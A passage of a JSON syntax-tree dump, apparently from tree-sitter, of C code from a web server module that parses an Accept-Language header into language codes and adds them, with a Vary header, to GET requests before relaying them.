"text": "lcodes", "parent": 271, "children": [], "start_point": {"row": 85, "column": 34}, "end_point": {"row": 85, "column": 40}}, {"id": 274, "type": "if_statement", "text": "if (semicolon)\n {\n i++;\n while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }\n\n if (lqsm[i] == 0)\n {\n il = i;\n break;\n }\n }", "parent": 202, "children": [275], "start_point": {"row": 87, "column": 16}, "end_point": {"row": 101, "column": 17}}, {"id": 275, "type": "parenthesized_expression", "text": "(semicolon)", "parent": 274, "children": [276], "start_point": {"row": 87, "column": 19}, "end_point": {"row": 87, "column": 30}}, {"id": 276, "type": "identifier", "text": "semicolon", "parent": 275, "children": [], "start_point": {"row": 87, "column": 20}, "end_point": {"row": 87, "column": 29}}, {"id": 277, "type": "update_expression", "text": "i++", "parent": 274, "children": [278, 279], "start_point": {"row": 89, "column": 20}, "end_point": {"row": 89, "column": 23}}, {"id": 278, "type": "identifier", "text": "i", "parent": 277, "children": [], "start_point": {"row": 89, "column": 20}, "end_point": {"row": 89, "column": 21}}, {"id": 279, "type": "++", "text": "++", "parent": 277, "children": [], "start_point": {"row": 89, "column": 21}, "end_point": {"row": 89, "column": 23}}, {"id": 280, "type": "while_statement", "text": "while ((lqsm[i] != 0) && (lqsm[i] != ','))\n {\n if (lqsm[i] == 0) break;\n i++;\n }", "parent": 274, "children": [281], "start_point": {"row": 90, "column": 20}, "end_point": {"row": 94, "column": 21}}, {"id": 281, "type": "parenthesized_expression", "text": "((lqsm[i] != 0) && (lqsm[i] != ','))", "parent": 280, "children": [282], "start_point": {"row": 90, "column": 26}, "end_point": {"row": 90, "column": 62}}, {"id": 282, "type": "binary_expression", "text": "(lqsm[i] != 0) && (lqsm[i] != ',')", "parent": 281, "children": [283, 290, 291], "start_point": {"row": 90, "column": 27}, "end_point": {"row": 90, "column": 61}}, {"id": 283, "type": "parenthesized_expression", "text": "(lqsm[i] != 0)", "parent": 282, "children": [284], "start_point": {"row": 90, "column": 27}, "end_point": {"row": 90, "column": 41}}, {"id": 284, "type": "binary_expression", "text": "lqsm[i] != 0", "parent": 283, "children": [285, 288, 289], "start_point": {"row": 90, "column": 28}, "end_point": {"row": 90, "column": 40}}, {"id": 285, "type": "subscript_expression", "text": "lqsm[i]", "parent": 284, "children": [286, 287], "start_point": {"row": 90, "column": 28}, "end_point": {"row": 90, "column": 35}}, {"id": 286, "type": "identifier", "text": "lqsm", "parent": 285, "children": [], "start_point": {"row": 90, "column": 28}, "end_point": {"row": 90, "column": 32}}, {"id": 287, "type": "identifier", "text": "i", "parent": 285, "children": [], "start_point": {"row": 90, "column": 33}, "end_point": {"row": 90, "column": 34}}, {"id": 288, "type": "!=", "text": "!=", "parent": 284, "children": [], "start_point": {"row": 90, "column": 36}, "end_point": {"row": 90, "column": 38}}, {"id": 289, "type": "number_literal", "text": "0", "parent": 284, "children": [], "start_point": {"row": 90, "column": 39}, "end_point": {"row": 90, "column": 40}}, {"id": 290, "type": "&&", "text": "&&", "parent": 282, "children": [], "start_point": {"row": 90, "column": 42}, "end_point": {"row": 90, "column": 44}}, {"id": 291, "type": "parenthesized_expression", "text": "(lqsm[i] != ',')", "parent": 282, "children": [292], "start_point": {"row": 90, "column": 45}, "end_point": {"row": 90, "column": 61}}, {"id": 292, "type": "binary_expression", "text": "lqsm[i] != ','", "parent": 291, "children": [293, 296, 297], "start_point": {"row": 90, "column": 46}, "end_point": {"row": 90, "column": 60}}, {"id": 293, "type": "subscript_expression", "text": "lqsm[i]", "parent": 292, "children": [294, 295], "start_point": {"row": 90, "column": 46}, "end_point": {"row": 90, "column": 53}}, {"id": 294, "type": "identifier", "text": "lqsm", "parent": 293, "children": [], "start_point": {"row": 90, "column": 46}, "end_point": {"row": 90, "column": 50}}, {"id": 295, "type": "identifier", "text": "i", "parent": 293, "children": [], "start_point": {"row": 90, "column": 51}, "end_point": {"row": 90, "column": 52}}, {"id": 296, "type": "!=", "text": "!=", "parent": 292, "children": [], "start_point": {"row": 90, "column": 54}, "end_point": {"row": 90, "column": 56}}, {"id": 297, "type": "char_literal", "text": "','", "parent": 292, "children": [298, 299], "start_point": {"row": 90, "column": 57}, "end_point": {"row": 90, "column": 60}}, {"id": 298, "type": "'", "text": "'", "parent": 297, "children": [], "start_point": {"row": 90, "column": 57}, "end_point": {"row": 90, "column": 58}}, {"id": 299, "type": "'", "text": "'", "parent": 297, "children": [], "start_point": {"row": 90, "column": 59}, "end_point": {"row": 90, "column": 60}}, {"id": 300, "type": "if_statement", "text": "if (lqsm[i] == 0) break;", "parent": 280, "children": [301, 308], "start_point": {"row": 92, "column": 24}, "end_point": {"row": 92, "column": 48}}, {"id": 301, "type": "parenthesized_expression", "text": "(lqsm[i] == 0)", "parent": 300, "children": [302], "start_point": {"row": 92, "column": 27}, "end_point": {"row": 92, "column": 41}}, {"id": 302, "type": "binary_expression", "text": "lqsm[i] == 0", "parent": 301, "children": [303, 306, 307], "start_point": {"row": 92, "column": 28}, "end_point": {"row": 92, "column": 40}}, {"id": 303, "type": "subscript_expression", "text": "lqsm[i]", "parent": 302, "children": [304, 305], "start_point": {"row": 92, "column": 28}, "end_point": {"row": 92, "column": 35}}, {"id": 304, "type": "identifier", "text": "lqsm", "parent": 303, "children": [], "start_point": {"row": 92, "column": 28}, "end_point": {"row": 92, "column": 32}}, {"id": 305, "type": "identifier", "text": "i", "parent": 303, "children": [], "start_point": {"row": 92, "column": 33}, "end_point": {"row": 92, "column": 34}}, {"id": 306, "type": "==", "text": "==", "parent": 302, "children": [], "start_point": {"row": 92, "column": 36}, "end_point": {"row": 92, "column": 38}}, {"id": 307, "type": "number_literal", "text": "0", "parent": 302, "children": [], "start_point": {"row": 92, "column": 39}, "end_point": {"row": 92, "column": 40}}, {"id": 308, "type": "break_statement", "text": "break;", "parent": 300, "children": [309], "start_point": {"row": 92, "column": 42}, "end_point": {"row": 92, "column": 48}}, {"id": 309, "type": "break", "text": "break", "parent": 308, "children": [], "start_point": {"row": 92, "column": 42}, "end_point": {"row": 92, "column": 47}}, {"id": 310, "type": "update_expression", "text": "i++", "parent": 280, "children": [311, 312], "start_point": {"row": 93, "column": 24}, "end_point": {"row": 93, "column": 27}}, {"id": 311, "type": "identifier", "text": "i", "parent": 310, "children": [], "start_point": {"row": 93, "column": 24}, "end_point": {"row": 93, "column": 25}}, {"id": 312, "type": "++", "text": "++", "parent": 310, "children": [], "start_point": {"row": 93, "column": 25}, "end_point": {"row": 93, "column": 27}}, {"id": 313, "type": "if_statement", "text": "if (lqsm[i] == 0)\n {\n il = i;\n break;\n }", "parent": 274, "children": [314], "start_point": {"row": 96, "column": 20}, "end_point": {"row": 100, "column": 21}}, {"id": 314, "type": "parenthesized_expression", "text": "(lqsm[i] == 0)", "parent": 313, "children": [315], "start_point": {"row": 96, "column": 23}, "end_point": {"row": 96, "column": 37}}, {"id": 315, "type": "binary_expression", "text": "lqsm[i] == 0", "parent": 314, "children": [316, 319, 320], "start_point": {"row": 96, "column": 24}, "end_point": {"row": 96, "column": 36}}, {"id": 316, "type": "subscript_expression", "text": "lqsm[i]", "parent": 315, "children": [317, 318], "start_point": {"row": 96, "column": 24}, "end_point": {"row": 96, "column": 31}}, {"id": 317, "type": "identifier", "text": "lqsm", "parent": 316, "children": [], "start_point": {"row": 96, "column": 24}, "end_point": {"row": 96, "column": 28}}, {"id": 318, "type": "identifier", "text": "i", "parent": 316, "children": [], "start_point": {"row": 96, "column": 29}, "end_point": {"row": 96, "column": 30}}, {"id": 319, "type": "==", "text": "==", "parent": 315, "children": [], "start_point": {"row": 96, "column": 32}, "end_point": {"row": 96, "column": 34}}, {"id": 320, "type": "number_literal", "text": "0", "parent": 315, "children": [], "start_point": {"row": 96, "column": 35}, "end_point": {"row": 96, "column": 36}}, {"id": 321, "type": "assignment_expression", "text": "il = i", "parent": 313, "children": [322, 323, 324], "start_point": {"row": 98, "column": 24}, "end_point": {"row": 98, "column": 30}}, {"id": 322, "type": "identifier", "text": "il", "parent": 321, "children": [], "start_point": {"row": 98, "column": 24}, "end_point": {"row": 98, "column": 26}}, {"id": 323, "type": "=", "text": "=", "parent": 321, "children": [], "start_point": {"row": 98, "column": 27}, "end_point": {"row": 98, "column": 28}}, {"id": 324, "type": "identifier", "text": "i", "parent": 321, "children": [], "start_point": {"row": 98, "column": 29}, "end_point": {"row": 98, "column": 30}}, {"id": 325, "type": "break_statement", "text": "break;", "parent": 313, "children": [326], "start_point": {"row": 99, "column": 24}, "end_point": {"row": 99, "column": 30}}, {"id": 326, "type": "break", "text": "break", "parent": 325, "children": [], "start_point": {"row": 99, "column": 24}, "end_point": {"row": 99, "column": 29}}, {"id": 327, "type": "update_expression", "text": "i++", "parent": 202, "children": [328, 329], "start_point": {"row": 103, "column": 16}, "end_point": {"row": 103, "column": 19}}, {"id": 328, "type": "identifier", "text": "i", "parent": 327, "children": [], "start_point": {"row": 103, "column": 16}, "end_point": {"row": 103, "column": 17}}, {"id": 329, "type": "++", "text": "++", "parent": 327, "children": [], "start_point": {"row": 103, "column": 17}, "end_point": {"row": 103, "column": 19}}, {"id": 330, "type": "while_statement", "text": "while ((lqsm[i] == ' ') || (lqsm[i] == '\\t'))\n {\n i++;\n }", "parent": 202, "children": [331], "start_point": {"row": 105, "column": 16}, "end_point": {"row": 108, "column": 17}}, {"id": 331, "type": "parenthesized_expression", "text": "((lqsm[i] == ' ') || (lqsm[i] == '\\t'))", "parent": 330, "children": [332], "start_point": {"row": 105, "column": 22}, "end_point": {"row": 105, "column": 61}}, {"id": 332, "type": "binary_expression", "text": "(lqsm[i] == ' ') || (lqsm[i] == '\\t')", "parent": 331, "children": [333, 343, 344], "start_point": {"row": 105, "column": 23}, "end_point": {"row": 105, "column": 60}}, {"id": 333, "type": "parenthesized_expression", "text": "(lqsm[i] == ' ')", "parent": 332, "children": [334], "start_point": {"row": 105, "column": 23}, "end_point": {"row": 105, "column": 39}}, {"id": 334, "type": "binary_expression", "text": "lqsm[i] == ' '", "parent": 333, "children": [335, 338, 339], "start_point": {"row": 105, "column": 24}, "end_point": {"row": 105, "column": 38}}, {"id": 335, "type": "subscript_expression", "text": "lqsm[i]", "parent": 334, "children": [336, 337], "start_point": {"row": 105, "column": 24}, "end_point": {"row": 105, "column": 31}}, {"id": 336, "type": "identifier", "text": "lqsm", "parent": 335, "children": [], "start_point": {"row": 105, "column": 24}, "end_point": {"row": 105, "column": 28}}, {"id": 337, "type": "identifier", "text": "i", "parent": 335, "children": [], "start_point": {"row": 105, "column": 29}, "end_point": {"row": 105, "column": 30}}, {"id": 338, "type": "==", "text": "==", "parent": 334, "children": [], "start_point": {"row": 105, "column": 32}, "end_point": {"row": 105, "column": 34}}, {"id": 339, "type": "char_literal", "text": "' '", "parent": 334, "children": [340, 341, 342], "start_point": {"row": 105, "column": 35}, "end_point": {"row": 105, "column": 38}}, {"id": 340, "type": "'", "text": "'", "parent": 339, "children": [], "start_point": {"row": 105, "column": 35}, "end_point": {"row": 105, "column": 36}}, {"id": 341, "type": "character", "text": " ", "parent": 339, "children": [], "start_point": {"row": 105, "column": 36}, "end_point": {"row": 105, "column": 37}}, {"id": 342, "type": "'", "text": "'", "parent": 339, "children": [], "start_point": {"row": 105, "column": 37}, "end_point": {"row": 105, "column": 38}}, {"id": 343, "type": "||", "text": "||", "parent": 332, "children": [], "start_point": {"row": 105, "column": 40}, "end_point": {"row": 105, "column": 42}}, {"id": 344, "type": "parenthesized_expression", "text": "(lqsm[i] == '\\t')", "parent": 332, "children": [345], "start_point": {"row": 105, "column": 43}, "end_point": {"row": 105, "column": 60}}, {"id": 345, "type": "binary_expression", "text": "lqsm[i] == '\\t'", "parent": 344, "children": [346, 349, 350], "start_point": {"row": 105, "column": 44}, "end_point": {"row": 105, "column": 59}}, {"id": 346, "type": "subscript_expression", "text": "lqsm[i]", "parent": 345, "children": [347, 348], "start_point": {"row": 105, "column": 44}, "end_point": {"row": 105, "column": 51}}, {"id": 347, "type": "identifier", "text": "lqsm", "parent": 346, "children": [], "start_point": {"row": 105, "column": 44}, "end_point": {"row": 105, "column": 48}}, {"id": 348, "type": "identifier", "text": "i", "parent": 346, "children": [], "start_point": {"row": 105, "column": 49}, "end_point": {"row": 105, "column": 50}}, {"id": 349, "type": "==", "text": "==", "parent": 345, "children": [], "start_point": {"row": 105, "column": 52}, "end_point": {"row": 105, "column": 54}}, {"id": 350, "type": "char_literal", "text": "'\\t'", "parent": 345, "children": [351, 352, 353], "start_point": {"row": 105, "column": 55}, "end_point": {"row": 105, "column": 59}}, {"id": 351, "type": "'", "text": "'", "parent": 350, "children": [], "start_point": {"row": 105, "column": 55}, "end_point": {"row": 105, "column": 56}}, {"id": 352, "type": "escape_sequence", "text": "\\t", "parent": 350, "children": [], "start_point": {"row": 105, "column": 56}, "end_point": {"row": 105, "column": 58}}, {"id": 353, "type": "'", "text": "'", "parent": 350, "children": [], "start_point": {"row": 105, "column": 58}, "end_point": {"row": 105, "column": 59}}, {"id": 354, "type": "update_expression", "text": "i++", "parent": 330, "children": [355, 356], "start_point": {"row": 107, "column": 20}, "end_point": {"row": 107, "column": 23}}, {"id": 355, "type": "identifier", "text": "i", "parent": 354, "children": [], "start_point": {"row": 107, "column": 20}, "end_point": {"row": 107, "column": 21}}, {"id": 356, "type": "++", "text": "++", "parent": 354, "children": [], "start_point": {"row": 107, "column": 21}, "end_point": {"row": 107, "column": 23}}, {"id": 357, "type": "if_statement", "text": "if (lqsm[i] == 0) break;", "parent": 202, "children": [358, 365], "start_point": {"row": 110, "column": 16}, "end_point": {"row": 110, "column": 40}}, {"id": 358, "type": "parenthesized_expression", "text": "(lqsm[i] == 0)", "parent": 357, "children": [359], "start_point": {"row": 110, "column": 19}, "end_point": {"row": 110, "column": 33}}, {"id": 359, "type": "binary_expression", "text": "lqsm[i] == 0", "parent": 358, "children": [360, 363, 364], "start_point": {"row": 110, "column": 20}, "end_point": {"row": 110, "column": 32}}, {"id": 360, "type": "subscript_expression", "text": "lqsm[i]", "parent": 359, "children": [361, 362], "start_point": {"row": 110, "column": 20}, "end_point": {"row": 110, "column": 27}}, {"id": 361, "type": "identifier", "text": "lqsm", "parent": 360, "children": [], "start_point": {"row": 110, "column": 20}, "end_point": {"row": 110, "column": 24}}, {"id": 362, "type": "identifier", "text": "i", "parent": 360, "children": [], "start_point": {"row": 110, "column": 25}, "end_point": {"row": 110, "column": 26}}, {"id": 363, "type": "==", "text": "==", "parent": 359, "children": [], "start_point": {"row": 110, "column": 28}, "end_point": {"row": 110, "column": 30}}, {"id": 364, "type": "number_literal", "text": "0", "parent": 359, "children": [], "start_point": {"row": 110, "column": 31}, "end_point": {"row": 110, "column": 32}}, {"id": 365, "type": "break_statement", "text": "break;", "parent": 357, "children": [366], "start_point": {"row": 110, "column": 34}, "end_point": {"row": 110, "column": 40}}, {"id": 366, "type": "break", "text": "break", "parent": 365, "children": [], "start_point": {"row": 110, "column": 34}, "end_point": {"row": 110, "column": 39}}, {"id": 367, "type": "assignment_expression", "text": "il = i", "parent": 202, "children": [368, 369, 370], "start_point": {"row": 112, "column": 16}, "end_point": {"row": 112, "column": 22}}, {"id": 368, "type": "identifier", "text": "il", "parent": 367, "children": [], "start_point": {"row": 112, "column": 16}, "end_point": {"row": 112, "column": 18}}, {"id": 369, "type": "=", "text": "=", "parent": 367, "children": [], "start_point": {"row": 112, "column": 19}, "end_point": {"row": 112, "column": 20}}, {"id": 370, "type": "identifier", "text": "i", "parent": 367, "children": [], "start_point": {"row": 112, "column": 21}, "end_point": {"row": 112, "column": 22}}, {"id": 371, "type": "if_statement", "text": "if (il < i)\n {\n lcodes = cons (make_string (lqsm + il), lcodes);\n }", "parent": 101, "children": [372], "start_point": {"row": 116, "column": 8}, "end_point": {"row": 119, "column": 9}}, {"id": 372, "type": "parenthesized_expression", "text": "(il < i)", "parent": 371, "children": [373], "start_point": {"row": 116, "column": 11}, "end_point": {"row": 116, "column": 19}}, {"id": 373, "type": "binary_expression", "text": "il < i", "parent": 372, "children": [374, 375, 376], "start_point": {"row": 116, "column": 12}, "end_point": {"row": 116, "column": 18}}, {"id": 374, "type": "identifier", "text": "il", "parent": 373, "children": [], "start_point": {"row": 116, "column": 12}, "end_point": {"row": 116, "column": 14}}, {"id": 375, "type": "<", "text": "<", "parent": 373, "children": [], "start_point": {"row": 116, "column": 15}, "end_point": {"row": 116, "column": 16}}, {"id": 376, "type": "identifier", "text": "i", "parent": 373, "children": [], "start_point": {"row": 116, "column": 17}, "end_point": {"row": 116, "column": 18}}, {"id": 377, "type": "assignment_expression", "text": "lcodes = cons (make_string (lqsm + il), lcodes)", "parent": 371, "children": [378, 379, 380], "start_point": {"row": 118, "column": 12}, "end_point": {"row": 118, "column": 59}}, {"id": 378, "type": "identifier", "text": "lcodes", "parent": 377, "children": [], "start_point": {"row": 118, "column": 12}, "end_point": {"row": 118, "column": 18}}, {"id": 379, "type": "=", "text": "=", "parent": 377, "children": [], "start_point": {"row": 118, "column": 19}, "end_point": {"row": 118, "column": 20}}, {"id": 380, "type": "call_expression", "text": "cons (make_string (lqsm + il), lcodes)", "parent": 377, "children": [381, 382], "start_point": {"row": 118, "column": 21}, "end_point": {"row": 118, "column": 59}}, {"id": 381, "type": "identifier", "text": "cons", "parent": 380, "children": [], "start_point": {"row": 118, "column": 21}, "end_point": {"row": 118, "column": 25}}, {"id": 382, "type": "argument_list", "text": "(make_string (lqsm + il), lcodes)", "parent": 380, "children": [383, 390], "start_point": {"row": 118, "column": 26}, "end_point": {"row": 118, "column": 59}}, {"id": 383, "type": "call_expression", "text": "make_string (lqsm + il)", "parent": 382, "children": [384, 385], "start_point": {"row": 118, "column": 27}, "end_point": {"row": 118, "column": 50}}, {"id": 384, "type": "identifier", "text": "make_string", "parent": 383, "children": [], "start_point": {"row": 118, "column": 27}, "end_point": {"row": 118, "column": 38}}, {"id": 385, "type": "argument_list", "text": "(lqsm + il)", "parent": 383, "children": [386], "start_point": {"row": 118, "column": 39}, "end_point": {"row": 118, "column": 50}}, {"id": 386, "type": "binary_expression", "text": "lqsm + il", "parent": 385, "children": [387, 388, 389], "start_point": {"row": 118, "column": 40}, "end_point": {"row": 118, "column": 49}}, {"id": 387, "type": "identifier", "text": "lqsm", "parent": 386, "children": [], "start_point": {"row": 118, "column": 40}, "end_point": {"row": 118, "column": 44}}, {"id": 388, "type": "+", "text": "+", "parent": 386, "children": [], "start_point": {"row": 118, "column": 45}, "end_point": {"row": 118, "column": 46}}, {"id": 389, "type": "identifier", "text": "il", "parent": 386, "children": [], "start_point": {"row": 118, "column": 47}, "end_point": {"row": 118, "column": 49}}, {"id": 390, "type": "identifier", "text": "lcodes", "parent": 382, "children": [], "start_point": {"row": 118, "column": 52}, "end_point": {"row": 118, "column": 58}}, {"id": 391, "type": "if_statement", "text": "if (!have_default)\n {\n lcodes = cons (default_language, lcodes);\n }", "parent": 81, "children": [392], "start_point": {"row": 123, "column": 4}, "end_point": {"row": 126, "column": 5}}, {"id": 392, "type": "parenthesized_expression", "text": "(!have_default)", "parent": 391, "children": [393], "start_point": {"row": 123, "column": 7}, "end_point": {"row": 123, "column": 22}}, {"id": 393, "type": "unary_expression", "text": "!have_default", "parent": 392, "children": [394, 395], "start_point": {"row": 123, "column": 8}, "end_point": {"row": 123, "column": 21}}, {"id": 394, "type": "!", "text": "!", "parent": 393, "children": [], "start_point": {"row": 123, "column": 8}, "end_point": {"row": 123, "column": 9}}, {"id": 395, "type": "identifier", "text": "have_default", "parent": 393, "children": [], "start_point": {"row": 123, "column": 9}, "end_point": {"row": 123, "column": 21}}, {"id": 396, "type": "assignment_expression", "text": "lcodes = cons (default_language, lcodes)", "parent": 391, "children": [397, 398, 399], "start_point": {"row": 125, "column": 8}, "end_point": {"row": 125, "column": 48}}, {"id": 397, "type": "identifier", "text": "lcodes", "parent": 396, "children": [], "start_point": {"row": 125, "column": 8}, "end_point": {"row": 125, "column": 14}}, {"id": 398, "type": "=", "text": "=", "parent": 396, "children": [], "start_point": {"row": 125, "column": 15}, "end_point": {"row": 125, "column": 16}}, {"id": 399, "type": "call_expression", "text": "cons (default_language, lcodes)", "parent": 396, "children": [400, 401], "start_point": {"row": 125, "column": 17}, "end_point": {"row": 125, "column": 48}}, {"id": 400, "type": "identifier", "text": "cons", "parent": 399, "children": [], "start_point": {"row": 125, "column": 17}, "end_point": {"row": 125, "column": 21}}, {"id": 401, "type": "argument_list", "text": "(default_language, lcodes)", "parent": 399, "children": [402, 403], "start_point": {"row": 125, "column": 22}, "end_point": {"row": 125, "column": 48}}, {"id": 402, "type": "identifier", "text": "default_language", "parent": 401, "children": [], "start_point": {"row": 125, "column": 23}, "end_point": {"row": 125, "column": 39}}, {"id": 403, "type": "identifier", "text": "lcodes", "parent": 401, "children": [], "start_point": {"row": 125, "column": 41}, "end_point": {"row": 125, "column": 47}}, {"id": 404, "type": "return_statement", "text": "return lcodes;", "parent": 81, "children": [405], "start_point": {"row": 128, "column": 4}, "end_point": {"row": 128, "column": 18}}, {"id": 405, "type": "identifier", "text": "lcodes", "parent": 404, "children": [], "start_point": {"row": 128, "column": 11}, "end_point": {"row": 128, "column": 17}}, {"id": 406, "type": "function_definition", "text": "static sexpr request (sexpr arguments, struct machine_state *st)\n{\n sexpr a = arguments, r = sx_end_of_list, a2, a3;\n\n while (consp (a))\n {\n a2 = car (a);\n a3 = car (a2);\n\n if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }\n\n a = cdr (a);\n }\n\n relay_sub (sx_reverse (r));\n return sx_nonexistent;\n}", "parent": null, "children": [407, 408], "start_point": {"row": 131, "column": 0}, "end_point": {"row": 173, "column": 1}}, {"id": 407, "type": "type_identifier", "text": "sexpr", "parent": 406, "children": [], "start_point": {"row": 131, "column": 7}, "end_point": {"row": 131, "column": 12}}, {"id": 408, "type": "function_declarator", "text": "request (sexpr arguments, struct machine_state *st)", "parent": 406, "children": [409, 410], "start_point": {"row": 131, "column": 13}, "end_point": {"row": 131, "column": 64}}, {"id": 409, "type": "identifier", "text": "request", "parent": 408, "children": [], "start_point": {"row": 131, "column": 13}, "end_point": {"row": 131, "column": 20}}, {"id": 410, "type": "parameter_list", "text": "(sexpr arguments, struct machine_state *st)", "parent": 408, "children": [411, 414], "start_point": {"row": 131, "column": 21}, "end_point": {"row": 131, "column": 64}}, {"id": 411, "type": "parameter_declaration", "text": "sexpr arguments", "parent": 410, "children": [412, 413], "start_point": {"row": 131, "column": 22}, "end_point": {"row": 131, "column": 37}}, {"id": 412, "type": "type_identifier", "text": "sexpr", "parent": 411, "children": [], "start_point": {"row": 131, "column": 22}, "end_point": {"row": 131, "column": 27}}, {"id": 413, "type": "identifier", "text": "arguments", "parent": 411, "children": [], "start_point": {"row": 131, "column": 28}, "end_point": {"row": 131, "column": 37}}, {"id": 414, "type": "parameter_declaration", "text": "struct machine_state *st", "parent": 410, "children": [415, 418], "start_point": {"row": 131, "column": 39}, "end_point": {"row": 131, "column": 63}}, {"id": 415, "type": "struct_specifier", "text": "struct machine_state", "parent": 414, "children": [416, 417], "start_point": {"row": 131, "column": 39}, "end_point": {"row": 131, "column": 59}}, {"id": 416, "type": "struct", "text": "struct", "parent": 415, "children": [], "start_point": {"row": 131, "column": 39}, "end_point": {"row": 131, "column": 45}}, {"id": 417, "type": "type_identifier", "text": "machine_state", "parent": 415, "children": [], "start_point": {"row": 131, "column": 46}, "end_point": {"row": 131, "column": 59}}, {"id": 418, "type": "pointer_declarator", "text": "*st", "parent": 414, "children": [419, 420], "start_point": {"row": 131, "column": 60}, "end_point": {"row": 131, "column": 63}}, {"id": 419, "type": "*", "text": "*", "parent": 418, "children": [], "start_point": {"row": 131, "column": 60}, "end_point": {"row": 131, "column": 61}}, {"id": 420, "type": "identifier", "text": "st", "parent": 418, "children": [], "start_point": {"row": 131, "column": 61}, "end_point": {"row": 131, "column": 63}}, {"id": 421, "type": "declaration", "text": "sexpr a = arguments, r = sx_end_of_list, a2, a3;", "parent": 406, "children": [422, 423, 427, 431, 432], "start_point": {"row": 133, "column": 4}, "end_point": {"row": 133, "column": 52}}, {"id": 422, "type": "type_identifier", "text": "sexpr", "parent": 421, "children": [], "start_point": {"row": 133, "column": 4}, "end_point": {"row": 133, "column": 9}}, {"id": 423, "type": "init_declarator", "text": "a = arguments", "parent": 421, "children": [424, 425, 426], "start_point": {"row": 133, "column": 10}, "end_point": {"row": 133, "column": 23}}, {"id": 424, "type": "identifier", "text": "a", "parent": 423, "children": [], "start_point": {"row": 133, "column": 10}, "end_point": {"row": 133, "column": 11}}, {"id": 425, "type": "=", "text": "=", "parent": 423, "children": [], "start_point": {"row": 133, "column": 12}, "end_point": {"row": 133, "column": 13}}, {"id": 426, "type": "identifier", "text": "arguments", "parent": 423, "children": [], "start_point": {"row": 133, "column": 14}, "end_point": {"row": 133, "column": 23}}, {"id": 427, "type": "init_declarator", "text": "r = sx_end_of_list", "parent": 421, "children": [428, 429, 430], "start_point": {"row": 133, "column": 25}, "end_point": {"row": 133, "column": 43}}, {"id": 428, "type": "identifier", "text": "r", "parent": 427, "children": [], "start_point": {"row": 133, "column": 25}, "end_point": {"row": 133, "column": 26}}, {"id": 429, "type": "=", "text": "=", "parent": 427, "children": [], "start_point": {"row": 133, "column": 27}, "end_point": {"row": 133, "column": 28}}, {"id": 430, "type": "identifier", "text": "sx_end_of_list", "parent": 427, "children": [], "start_point": {"row": 133, "column": 29}, "end_point": {"row": 133, "column": 43}}, {"id": 431, "type": "identifier", "text": "a2", "parent": 421, "children": [], "start_point": {"row": 133, "column": 45}, "end_point": {"row": 133, "column": 47}}, {"id": 432, "type": "identifier", "text": "a3", "parent": 421, "children": [], "start_point": {"row": 133, "column": 49}, "end_point": {"row": 133, "column": 51}}, {"id": 433, "type": "while_statement", "text": "while (consp (a))\n {\n a2 = car (a);\n a3 = car (a2);\n\n if (truep (equalp (a3, sym_get)))\n {\n sexpr t1 = cdr (a2), e = car (t1);\n\n if (environmentp (e))\n {\n e = lx_environment_bind\n (e, sym_language,\n get_acceptable_languages\n (lx_environment_lookup (e, sym_accept_language)));\n }\n else\n {\n e = lx_make_environment\n (cons (cons (sym_language,\n get_acceptable_languages (sx_nonexistent)),\n sx_end_of_list));\n }\n\n e = lx_environment_bind (e, sym_Vary, str_Accept_Language);\n\n r = cons (cons (sym_get, cons (e, cdr (t1))), r);\n }\n else\n {\n r = cons (a2, r);\n }\n\n a = cdr (a);\n }", "parent": 406, "children": [434], "start_point": {"row": 135, "column": 4}, "end_point": {"row": 169, "column": 5}}, {"id": 434, "type": "parenthesized_expression", "text": "(consp (a))", "parent": 433, "children": [435], "start_point": {"row": 135, "column": 10}, "end_point": {"row": 135, "column": 21}}, {"id": 435, "type": "call_expression", "text": "consp (a)", "parent": 434, "children": [436, 437], "start_point": {"row": 135, "column": 11}, "end_point": {"row": 135, "column": 20}}, {"id": 436, "type": "identifier", "text": "consp", "parent": 435, "children": [], "start_point": {"row": 135, "column": 11}, "end_point": {"row": 135, "column": 16}}, {"id": 437, "type": "argument_list", "text": "(a)", "parent": 435, "children": [438], "start_point": {"row": 135, "column": 17}, "end_point": {"row": 135, "column": 20}}, {"id": 438, "type": "identifier", "text": "a", "parent": 437, "children": [], "start_point": {"row": 135, "column": 18}, "end_point": {"row": 135, "column": 19}}, {"id": 439, "type": "assignment_expression", "text": "a2 = car (a)", "parent": 433, "children": [440, 441, 442], "start_point": {"row": 137, "column": 8}, "end_point": {"row": 137, "column": 20}}, {"id": 440, "type": "identifier", "text": "a2", "parent": 439, "children": [], "start_point": {"row": 137, "column": 8}, "end_point": {"row": 137, "column": 10}}, {"id": 441, "type": "=", "text": "=", "parent": 439, "children": [], "start_point": {"row": 137, "column": 11}, "end_point": {"row": 137, "column": 12}}, {"id": 442, "type": "call_expression", "text": "car (a)", "parent": 439, "children": [443, 444], "start_point": {"row": 137, "column": 13}, "end_point": {"row": 137, "column": 20}}, {"id": 443, "type": "identifier", "text": "car", "parent": 442, "children": [], "start_point": {"row": 137, "column": 13}, "end_point": {"row": 137, "column": 16}}, {"id": 444, "type": "argument_list", "text": "(a)", "parent": 442, "children": [445], "start_point": {"row": 137, "column": 17}, "end_point": {"row": 137, "column": 20}}, {"id": 445, "type": "identifier", "text": "a", "parent": 444, "children": [], "start_point": {"row": 137, "column": 18}, "end_point": {"row": 137, "column": 19}}, {"id": 446, "type": "assignment_expression", "text": "a3 = car (a2)", "parent": 433, "children": [447, 448, 449], "start_point": {"row": 138, "column": 8}, "end_point": {"row": 138, "column": 21}}, {"id": 447, "type": "identifier", "text": "a3", "parent": 446, "children": [], "start_point": {"row": 138, "column": 8}, "end_point": {"row": 138, "column": 10}}, {"id": 448, "type": "=", "text": "=", "parent": 446, "children": [], "start_point": {"row": 138, "column": 11}, "end_point": {"row": 138, "column": 12}}, {"id": 449, "type": "call_expression", "text": "car (a2)", "parent": 446, "children": [450, 451], "start_point": {"row": 138, "column": 13}, "end_point": {"row": 138, "column": 21}}, {"id": 450, "type": "identifier", "text": "car", "parent": 449, "children": [], "start_point": {"row": 138, "column": 13}, "end_point": {"row": 138, "column": 16}}, {"id": 451, "type": "argument_list", "text": "(a2)", 